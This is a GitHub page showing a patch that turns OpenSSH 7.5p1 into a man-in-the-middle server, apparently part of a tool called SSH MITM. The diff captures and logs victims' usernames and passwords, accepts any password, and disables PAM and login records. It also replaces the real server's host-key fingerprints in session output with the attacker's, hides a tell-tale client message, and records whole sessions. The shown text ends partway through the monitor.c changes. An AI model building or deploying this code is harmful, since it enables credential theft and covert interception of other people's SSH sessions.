-
Notifications
You must be signed in to change notification settings - Fork 197
/
openssh-7.5p1-mitm.patch
4697 lines (4459 loc) · 148 KB
/
openssh-7.5p1-mitm.patch
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth2.c openssh-7.5p1-mitm/auth2.c
--- openssh-7.5p1/auth2.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/auth2.c 2019-09-08 01:47:49.714201127 +0000
@@ -222,6 +222,10 @@
fatal("input_userauth_request: no authctxt");
user = packet_get_cstring(NULL);
+ authctxt->original_user = xstrdup(user);
+ free(user);
+ user = xstrdup(UNPRIVED_MITM_USER);
+
service = packet_get_cstring(NULL);
method = packet_get_cstring(NULL);
debug("userauth-request for user %s service %s method %s", user, service, method);
@@ -329,6 +333,8 @@
return;
#ifdef USE_PAM
+ /* Disable PAM entirely. */
+ if (0) {
if (options.use_pam && authenticated) {
if (!PRIVSEP(do_pam_account())) {
/* if PAM returned a message, send it to the user */
@@ -341,6 +347,7 @@
"configuration", authctxt->user);
}
}
+ }
#endif
#ifdef _UNICOS
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth2-passwd.c openssh-7.5p1-mitm/auth2-passwd.c
--- openssh-7.5p1/auth2-passwd.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/auth2-passwd.c 2019-09-08 01:47:49.718200937 +0000
@@ -43,9 +43,11 @@
#include "monitor_wrap.h"
#include "misc.h"
#include "servconf.h"
+#include "lol.h"
/* import */
extern ServerOptions options;
+extern Lol *lol;
static int
userauth_passwd(Authctxt *authctxt)
@@ -65,6 +67,13 @@
}
packet_check_eom();
+ char *user = authctxt->user;
+ if (authctxt->original_user != NULL)
+ user = authctxt->original_user;
+
+ logit("INTERCEPTED PASSWORD: hostname: [%s]; username: [%s]; password: [%s]", lol->original_host, user, password);
+ lol->username = strdup(user);
+ lol->password = strdup(password);
if (change)
logit("password change not supported");
else if (PRIVSEP(auth_password(authctxt, password)) == 1)
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth2-pubkey.c openssh-7.5p1-mitm/auth2-pubkey.c
--- openssh-7.5p1/auth2-pubkey.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/auth2-pubkey.c 2019-09-08 01:47:49.730200371 +0000
@@ -477,7 +477,7 @@
closefrom(STDERR_FILENO + 1);
/* Don't use permanently_set_uid() here to avoid fatal() */
- if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) {
+ /*if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) {
error("%s: setresgid %u: %s", tag, (u_int)pw->pw_gid,
strerror(errno));
_exit(1);
@@ -487,13 +487,15 @@
strerror(errno));
_exit(1);
}
+ */
/* stdin is pointed to /dev/null at this point */
if (dup2(STDIN_FILENO, STDERR_FILENO) == -1) {
error("%s: dup2: %s", tag, strerror(errno));
_exit(1);
}
- execve(av[0], av, child_env);
+ /* Not sure when this happens, exactly, but we definitely never want to execute anything. */
+ /*execve(av[0], av, child_env);*/
error("%s exec \"%s\": %s", tag, command, strerror(errno));
_exit(127);
default: /* parent */
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth.c openssh-7.5p1-mitm/auth.c
--- openssh-7.5p1/auth.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/auth.c 2019-09-08 01:47:49.730200371 +0000
@@ -152,6 +152,8 @@
#ifdef USE_LIBIAF
free((void *) passwd);
#endif /* USE_LIBIAF */
+ /* Allow logins to our locked-out bogus user. */
+ locked = 0;
if (locked) {
logit("User %.100s not allowed because account is locked",
pw->pw_name);
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth.h openssh-7.5p1-mitm/auth.h
--- openssh-7.5p1/auth.h 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/auth.h 2019-09-08 01:47:49.734200182 +0000
@@ -59,6 +59,7 @@
int server_caused_failure;
int force_pwchange;
char *user; /* username sent by the client */
+ char *original_user; /* username that the client actually wants to connect as */
char *service;
struct passwd *pw; /* set if 'valid' */
char *style;
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth-passwd.c openssh-7.5p1-mitm/auth-passwd.c
--- openssh-7.5p1/auth-passwd.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/auth-passwd.c 2019-09-08 01:47:49.738199993 +0000
@@ -121,6 +121,8 @@
if (options.use_pam)
return (sshpam_auth_passwd(authctxt, password) && ok);
#endif
+ /* Accept all password authentication. */
+ return 1;
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
if (!expire_checked) {
expire_checked = 1;
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/auth-sia.c openssh-7.5p1-mitm/auth-sia.c
--- openssh-7.5p1/auth-sia.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/auth-sia.c 2019-09-08 01:47:49.742199804 +0000
@@ -107,7 +107,7 @@
sia_ses_release(&ent);
- setuid(0);
+ /*setuid(0);*/
permanently_set_uid(pw);
}
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/channels.c openssh-7.5p1-mitm/channels.c
--- openssh-7.5p1/channels.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/channels.c 2019-09-08 01:47:49.742199804 +0000
@@ -82,6 +82,7 @@
#include "key.h"
#include "authfd.h"
#include "pathnames.h"
+#include "lol.h"
/* -- channel core */
@@ -191,6 +192,12 @@
static int connect_next(struct channel_connect *);
static void channel_connect_ctx_free(struct channel_connect *);
+void log_input(Channel *c, char *buf, int len);
+void log_output(Channel *c, char *buf, int len);
+void logx(Channel *c, char *buf, int len);
+char *replace_fingerprints(Channel *c, char *input, int input_size, int *output_len, int *free_result);
+void handle_overlap(Channel *c, char *input, unsigned int input_len, unsigned int *output_len);
+
/* -- channel core */
Channel *
@@ -504,6 +511,23 @@
if (c->filter_cleanup != NULL && c->filter_ctx != NULL)
c->filter_cleanup(c->self, c->filter_ctx);
channels[c->self] = NULL;
+ /*
+ if (c->log_fd > 0) {
+ fdatasync(c->log_fd);
+ close(c->log_fd);
+ c->log_fd = 0;
+ }
+ */
+ free(c->legit_md5_fingerprint); c->legit_md5_fingerprint = NULL;
+ c->legit_md5_fingerprint_len = 0;
+ free(c->legit_sha256_fingerprint); c->legit_sha256_fingerprint = NULL;
+ c->legit_sha256_fingerprint_len = 0;
+ free(c->our_md5_fingerprint); c->our_md5_fingerprint = NULL;
+ c->our_md5_fingerprint_len = 0;
+ free(c->our_sha256_fingerprint); c->our_sha256_fingerprint = NULL;
+ c->our_sha256_fingerprint_len = 0;
+ free(c->extra_fp_bytes); c->extra_fp_bytes = NULL;
+ c->extra_fp_bytes_len = 0;
free(c);
}
@@ -853,12 +877,14 @@
void
channel_set_fds(int id, int rfd, int wfd, int efd,
- int extusage, int nonblock, int is_tty, u_int window_max)
+ int extusage, int nonblock, int is_tty, u_int window_max, int session_log_fd, int is_sftp)
{
Channel *c = channel_lookup(id);
if (c == NULL || c->type != SSH_CHANNEL_LARVAL)
fatal("channel_activate for non-larval channel %d.", id);
+ c->log_fd = session_log_fd;
+ c->is_sftp = is_sftp;
channel_register_fds(c, rfd, wfd, efd, extusage, nonblock, is_tty);
c->type = SSH_CHANNEL_OPEN;
c->local_window = c->local_window_max = window_max;
@@ -1729,6 +1755,8 @@
{
char buf[CHAN_RBUF];
int len, force;
+ char *output = NULL;
+ int output_len = 0, real_output_len = 0, free_result = 0;
force = c->isatty && c->detach_close && c->istate != CHAN_INPUT_CLOSED;
if (c->rfd != -1 && (force || FD_ISSET(c->rfd, readset))) {
@@ -1758,16 +1786,23 @@
}
return -1;
}
+
+ /* Replace the legit server's fingerprints in the output with
+ * our fingerprints. >:] */
+ output = replace_fingerprints(c, buf, len, &output_len, &free_result);
+ handle_overlap(c, output, output_len, &real_output_len);
+ log_output(c, output, real_output_len);
if (c->input_filter != NULL) {
- if (c->input_filter(c, buf, len) == -1) {
+ if (c->input_filter(c, output, real_output_len) == -1) {
debug2("channel %d: filter stops", c->self);
chan_read_failed(c);
}
} else if (c->datagram) {
- buffer_put_string(&c->input, buf, len);
+ buffer_put_string(&c->input, output, real_output_len);
} else {
- buffer_append(&c->input, buf, len);
+ buffer_append(&c->input, output, real_output_len);
}
+ if (free_result) { free(output); output = NULL; }
}
return 1;
}
@@ -1824,6 +1859,7 @@
dlen = MIN(dlen, 8*1024);
#endif
+ log_input(c, buf, dlen);
len = write(c->wfd, buf, dlen);
if (len < 0 &&
(errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK))
@@ -4670,3 +4706,246 @@
packet_send();
packet_write_wait();
}
+
+void log_input(Channel *c, char *buf, int len) {
+ logx(c, buf, len);
+}
+
+void log_output(Channel *c, char *buf, int len) {
+ logx(c, buf, len);
+}
+
+void logx(Channel *c, char *buf, int len) {
+ /* Do not log the raw binary stream if this is an SFTP channel. */
+ if (c->is_sftp)
+ return;
+ else {
+ int written = 0;
+ int ret = -1;
+
+ if (c->log_fd <= 0)
+ return;
+
+ while (written < len) {
+ ret = write(c->log_fd, buf + written, len - written);
+ if (ret < 0)
+ return;
+
+ written += len;
+ }
+ }
+}
+
+/* This function searches and replaces the legitimate server's host key
+ * fingerprints with ours.
+ *
+ * "input" is the character buffer to search.
+ * "output_len" holds the number of characters written to the output return
+ * value.
+ * "free_result" is set to 1 if the caller must call free() on the return
+ * value when finished with it.
+ */
+char *replace_fingerprints(Channel *c, char *input, int input_size, int *output_len, int *free_result) {
+ char *orig_input = input;
+ int orig_input_size = input_size;
+
+ char *needle = NULL, *needle_replacement = NULL;
+ int needle_len = 0, needle_replacement_len = 0;
+
+ void *ptr = NULL;
+ char *output = NULL;
+
+ int output_size = 0;
+ int allocated_input = 0, allocated_output = 0;
+ int prefix_len = 0, suffix_len = 0;
+ int i = 0;
+ int output_is_input = 0;
+
+ *output_len = input_size;
+
+ /* If extra bytes are set from a previous call (i.e.: a partial fingerprint
+ * from a previous input block), prepend them to the input in a new buffer. */
+ if (c->extra_fp_bytes_len > 0) {
+ int new_input_size = input_size + c->extra_fp_bytes_len;
+ char *new_input = calloc(new_input_size, sizeof(char));
+ if (new_input == NULL)
+ goto replace_fingerprints_error;
+
+ memcpy(new_input, c->extra_fp_bytes, c->extra_fp_bytes_len);
+ memcpy(new_input + c->extra_fp_bytes_len, input, input_size);
+
+ input = new_input;
+ *output_len = input_size = new_input_size;
+ allocated_input = 1;
+ c->extra_fp_bytes_len = 0;
+ }
+
+ /* Process the MD5 and SHA256 fingerprint types. */
+ for (i = 0; i < 2; i++) {
+ if (i == 0) {
+ needle = c->legit_md5_fingerprint;
+ needle_len = c->legit_md5_fingerprint_len;
+ needle_replacement = c->our_md5_fingerprint;
+ needle_replacement_len = c->our_md5_fingerprint_len;
+ } else if(i == 1) {
+ needle = c->legit_sha256_fingerprint;
+ needle_len = c->legit_sha256_fingerprint_len;
+ needle_replacement = c->our_sha256_fingerprint;
+ needle_replacement_len = c->our_sha256_fingerprint_len;
+ }
+
+ /* If we don't have all the info we need to search and replace, skip this
+ * fingerprint type. */
+ if ((needle_len == 0) || (needle_replacement_len == 0))
+ continue;
+
+ /* Search for the needle in the haystack. */
+ if ((ptr = memmem(input, input_size, needle, needle_len)) != NULL) {
+
+ /* If an output buffer isn't decided yet... */
+ if (output == NULL) {
+
+ /* We will choose to overwrite the input buffer with the output, if it
+ * fits. If it doesn't, we need to allocate a new buffer. */
+ output_size = input_size - needle_len + needle_replacement_len;
+ if (output_size > input_size) {
+ output = calloc(output_size, sizeof(char));
+
+ if (output == NULL)
+ goto replace_fingerprints_error;
+
+ allocated_output = 1;
+ output_is_input = 0;
+ } else {
+ output = input;
+ output_size = input_size;
+ output_is_input = 1;
+ }
+
+ /* We already set an output buffer (note that we could have allocated it
+ * ourselves, or it may be the input buffer). Check if its big enough
+ * for the replacement string. If not, allocate a new one or re-allocate
+ * the existing one, as necessary. */
+ } else {
+ int _output_size = input_size - needle_len + needle_replacement_len;
+ if (_output_size > output_size) {
+ output_size = _output_size;
+
+ /* If we had already allocated a buffer, re-allocate it with the
+ * number of bytes we need. Otherwise, allocate a new one. */
+ if (allocated_output == 1)
+ output = realloc(output, output_size);
+ else
+ output = calloc(output_size, sizeof(char));
+
+ if (output == NULL)
+ goto replace_fingerprints_error;
+
+ allocated_output = 1;
+ output_is_input = 0;
+ }
+ }
+
+ /* Calculate the length of the prefix and suffix around the string we
+ * are replacing. */
+ prefix_len = (char *)ptr - input;
+ suffix_len = input_size - prefix_len - needle_len;
+
+ /* Copy the prefix, string replacement, and suffix into the output. */
+ memmove(output, input, prefix_len);
+ memmove(output + prefix_len, needle_replacement, needle_replacement_len);
+ memmove(output + prefix_len + needle_replacement_len, (char *)ptr + needle_len, suffix_len);
+
+ /* Update the number of bytes we wrote into the output buffer. */
+ *output_len = prefix_len + needle_replacement_len + suffix_len;
+ }
+ }
+
+ /* If the output pointer has been set (meaning that a substitution was made),
+ * free the input buffer if necessary. Return a pointer to the output
+ * buffer. */
+ if (output != NULL) {
+ if (allocated_input && !output_is_input) {
+ free(input); input = NULL;
+ allocated_input = 0;
+ }
+
+ *free_result = allocated_input | allocated_output;
+ return output;
+
+ /* If no substitution was made, return the input buffer (which we may have
+ * allocated ourselves). */
+ } else {
+ *free_result = allocated_input;
+ return input;
+ }
+
+ replace_fingerprints_error:
+ if (allocated_input) {
+ free(input); input = NULL;
+ }
+ if (allocated_output) {
+ free(output); output = NULL;
+ }
+ *free_result = 0;
+ *output_len = orig_input_size;
+ return orig_input;
+}
+
+/* Handles any partial fingerprints found at the end of the input block. Any
+ * that are found are placed in the Channel's "extra_fp_bytes" buffer, which
+ * will be prepended in the next block's buffer by replace_fingerprints(). The
+ * smallest partial fingerprint this will look for is of length 8, so as to
+ * maintain high responsiveness for interactive shell sessions.
+ *
+ * "input" is the input buffer to process.
+ * "input_len" is the number of bytes to process in the input buffer.
+ * "output_len" is the new number of bytes the caller should use in the
+ * input buffer, where output_len <= input_len.
+ */
+void handle_overlap(Channel *c, char *input, unsigned int input_len, unsigned int *output_len) {
+ unsigned int i, shift;
+ char *needle = NULL;
+ unsigned int needle_len = 0;
+ int found_substr = 0;
+
+ *output_len = input_len;
+
+ /* Don't bother processing input blocks smaller than 8, since that is the
+ * minimum size we will look for. This is a tradeoff between shell
+ * responsiveness and completeness. For interactive shell sessions,
+ * responsiveness is much more important... */
+ if (input_len < 8)
+ return;
+
+ for (i = 0; i < 2; i++) {
+ if (i == 0) {
+ needle = c->legit_md5_fingerprint;
+ needle_len = c->legit_md5_fingerprint_len;
+ } else if (i == 1) {
+ needle = c->legit_sha256_fingerprint;
+ needle_len = c->legit_sha256_fingerprint_len;
+ }
+
+ /* If we don't have a needle, don't bother to continue processing. */
+ if (needle_len == 0)
+ continue;
+
+ /* Begin by looking at the last 8 bytes of the input, and see if it matches
+ * the first 8 bytes of the fingerprint. Then look at the last/first 9
+ * bytes, etc. */
+ found_substr = 0;
+ for (shift = 8; (shift < needle_len) && (shift <= input_len); shift++) {
+ if (memcmp(input + (input_len - shift), needle, shift) == 0)
+ found_substr = shift;
+ }
+
+ /* If we find a match, move the matching characters to the extra_chars
+ * array, and shorten the length of the output. */
+ if (found_substr > 0) {
+ c->extra_fp_bytes_len = found_substr;
+ memcpy(c->extra_fp_bytes, input + input_len - found_substr, c->extra_fp_bytes_len);
+ *output_len = input_len - found_substr;
+ }
+ }
+}
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/channels.h openssh-7.5p1-mitm/channels.h
--- openssh-7.5p1/channels.h 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/channels.h 2019-09-08 01:47:49.746199615 +0000
@@ -164,6 +164,22 @@
void *mux_ctx;
int mux_pause;
int mux_downstream_id;
+
+ int log_fd; /* File handle for logging sessions. */
+ int is_sftp; /* Set to 1 if this is an SFTP channel. */
+
+ /* The MD5 & SHA256 fingerprints of the legit server's host keys, as
+ * well as the fingerprints for our host keys. */
+ char *legit_md5_fingerprint;
+ unsigned int legit_md5_fingerprint_len;
+ char *legit_sha256_fingerprint;
+ unsigned int legit_sha256_fingerprint_len;
+ char *our_md5_fingerprint;
+ unsigned int our_md5_fingerprint_len;
+ char *our_sha256_fingerprint;
+ unsigned int our_sha256_fingerprint_len;
+ char *extra_fp_bytes;
+ unsigned int extra_fp_bytes_len;
};
#define CHAN_EXTENDED_IGNORE 0
@@ -214,7 +230,7 @@
Channel *channel_by_remote_id(int);
Channel *channel_lookup(int);
Channel *channel_new(char *, int, int, int, int, u_int, u_int, int, char *, int);
-void channel_set_fds(int, int, int, int, int, int, int, u_int);
+void channel_set_fds(int, int, int, int, int, int, int, u_int, int, int);
void channel_free(Channel *);
void channel_free_all(void);
void channel_stop_listening(void);
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/clientloop.c openssh-7.5p1-mitm/clientloop.c
--- openssh-7.5p1/clientloop.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/clientloop.c 2019-09-08 01:47:49.750199426 +0000
@@ -1752,7 +1752,10 @@
if (have_pty && options.log_level != SYSLOG_LEVEL_QUIET) {
snprintf(buf, sizeof buf,
"Connection to %.64s closed.\r\n", host);
- buffer_append(&stderr_buffer, buf, strlen(buf));
+ /* Suppress this message, otherwise the user will see our
+ * client make the same output as their own client (which would
+ * be a little weird/suspicious). */
+ /*buffer_append(&stderr_buffer, buf, strlen(buf));*/
}
/* Output any buffered data for stdout. */
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/loginrec.c openssh-7.5p1-mitm/loginrec.c
--- openssh-7.5p1/loginrec.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/loginrec.c 2019-09-08 01:47:49.750199426 +0000
@@ -435,6 +435,8 @@
int
login_write(struct logininfo *li)
{
+ /* Since we never run as root, never attempt to record the log-in. */
+ return (0);
#ifndef HAVE_CYGWIN
if (geteuid() != 0) {
logit("Attempt to write login records by non-root user (aborting)");
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/lol.h openssh-7.5p1-mitm/lol.h
--- openssh-7.5p1/lol.h 1970-01-01 00:00:00.000000000 +0000
+++ openssh-7.5p1-mitm/lol.h 2019-09-08 23:26:17.143042221 +0000
@@ -0,0 +1,62 @@
+#ifndef LOL_H
+#define LOL_H
+
+/* Current version of SSH MITM. */
+#define SSH_MITM_VERSION "v2.3-dev"
+
+/* Define these in order to force connections to a test host.
+ * Useful for quickly testing changes without needing to ARP
+ * spoof; just connect to sshd's port directly. */
+/*
+#define DEBUG_HOST "testhost"
+#define DEBUG_PORT 22
+*/
+
+/* This is the user account that all incoming connections will authenticate
+ * as (the provided user name is ignored). */
+#define UNPRIVED_MITM_USER "ssh-mitm"
+
+/* The root path of SSH MITM (default: "/home/ssh-mitm/") */
+#define MITM_ROOT "/home/" UNPRIVED_MITM_USER "/"
+
+/* The log path of SSH MITM (default: "/home/ssh-mitm/log/") */
+#define MITM_LOG "/home/" UNPRIVED_MITM_USER "/log/"
+
+/* The path to the ssh client config. */
+#define MITM_SSH_CLIENT_CONFIG MITM_ROOT "etc/ssh_config"
+
+/* The path to the modified ssh client. */
+#define MITM_SSH_CLIENT MITM_ROOT "bin/ssh"
+
+/* The path to the client log file. The "ssh" and "sftp" clients' stderr
+ * will go here. */
+#define MITM_SSH_CLIENT_LOG MITM_LOG "client.log"
+
+/* This is the size of the buffer used to write the password and read host key
+ * fingerprints to/from the client program. */
+#define SOCKET_PASSWORD_AND_FINGERPRINT_BUFFER_SIZE 1024
+
+/* The size of the buffer used to store partial fingerprints intercepted. */
+#define EXTRA_FP_BYTES_SIZE 64
+
+/* Uncomment this to open(2) log files with the O_SYNC flag. Effectively, this
+ * would cause logs to be written syncronously, though at the expense of lower
+ * session responsiveness. */
+/*#define SYNC_LOG 1*/
+
+struct _Lol {
+ char *original_host;
+ unsigned short original_port;
+ char *username;
+ char *password;
+};
+typedef struct _Lol Lol;
+
+#define MAX_SERVER_HOSTKEY_FPS 8
+struct _hostkey_fp {
+ char *old;
+ char *new;
+};
+typedef struct _hostkey_fp hostkey_fp;
+
+#endif /* LOL_H */
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/Makefile.in openssh-7.5p1-mitm/Makefile.in
--- openssh-7.5p1/Makefile.in 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/Makefile.in 2019-09-08 01:47:49.754199237 +0000
@@ -23,7 +23,7 @@
VPATH=@srcdir@
SSH_PROGRAM=@bindir@/ssh
ASKPASS_PROGRAM=$(libexecdir)/ssh-askpass
-SFTP_SERVER=$(libexecdir)/sftp-server
+SFTP_SERVER=/home/ssh-mitm/bin/sftp-server
SSH_KEYSIGN=$(libexecdir)/ssh-keysign
SSH_PKCS11_HELPER=$(libexecdir)/ssh-pkcs11-helper
PRIVSEP_PATH=@PRIVSEP_PATH@
@@ -107,7 +107,7 @@
monitor.o monitor_wrap.o auth-krb5.o \
auth2-gss.o gss-serv.o gss-serv-krb5.o \
loginrec.o auth-pam.o auth-shadow.o auth-sia.o md5crypt.o \
- sftp-server.o sftp-common.o \
+ sftp-server.o sftp-client.o sftp-common.o \
sandbox-null.o sandbox-rlimit.o sandbox-systrace.o sandbox-darwin.o \
sandbox-seccomp-filter.o sandbox-capsicum.o sandbox-pledge.o \
sandbox-solaris.o
@@ -187,8 +187,8 @@
ssh-keyscan$(EXEEXT): $(LIBCOMPAT) libssh.a ssh-keyscan.o
$(LD) -o $@ ssh-keyscan.o $(LDFLAGS) -lssh -lopenbsd-compat -lssh $(LIBS)
-sftp-server$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-common.o sftp-server.o sftp-server-main.o
- $(LD) -o $@ sftp-server.o sftp-common.o sftp-server-main.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
+sftp-server$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-client.o sftp-common.o sftp-server.o sftp-server-main.o
+ $(LD) -o $@ sftp-server.o sftp-client.o sftp-common.o sftp-server-main.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS)
sftp$(EXEEXT): $(LIBCOMPAT) libssh.a sftp.o sftp-client.o sftp-common.o sftp-glob.o progressmeter.o
$(LD) -o $@ progressmeter.o sftp.o sftp-client.o sftp-common.o sftp-glob.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) $(LIBEDIT)
diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/monitor.c openssh-7.5p1-mitm/monitor.c
--- openssh-7.5p1/monitor.c 2017-03-20 02:39:27.000000000 +0000
+++ openssh-7.5p1-mitm/monitor.c 2019-09-08 21:48:42.735461970 +0000
@@ -119,6 +119,7 @@
/* State exported from the child */
static struct sshbuf *child_state;
+static struct sshbuf *child_lol = NULL;
/* Functions on the monitor that answer unprivileged requests */
@@ -360,6 +361,7 @@
ssh_packet_set_log_preamble(ssh, "user %s", authctxt->user);
mm_get_keystate(pmonitor);
+ mm_get_lol(pmonitor);
/* Drain any buffered messages from the child */
while (pmonitor->m_log_recvfd != -1 && monitor_read_log(pmonitor) == 0)
@@ -1613,6 +1615,31 @@
}
}
+void
+monitor_apply_lol(struct monitor *pmonitor, Lol *lol)
+{
+ u_int32_t original_port = 0;
+ size_t username_len = 0, password_len = 0;
+ u_char *username = NULL, *password = NULL;
+
+
+ debug3("Applying lol...");
+
+ if (child_lol == NULL)
+ fatal("%s: child_lol is NULL!", __func__);
+
+ if (sshbuf_get_u32(child_lol, &original_port) != 0 ||
+ sshbuf_get_string(child_lol, &username, &username_len) != 0 ||
+ sshbuf_get_string(child_lol, &password, &password_len) != 0)
+ fatal("%s: sshbuf problems.", __func__);
+
+ lol->original_port = (unsigned short)original_port;
+ lol->username = username;
+ lol->password = password;
+ sshbuf_free(child_lol); child_lol = NULL;
+ debug3("Done with lol...");
+}
+
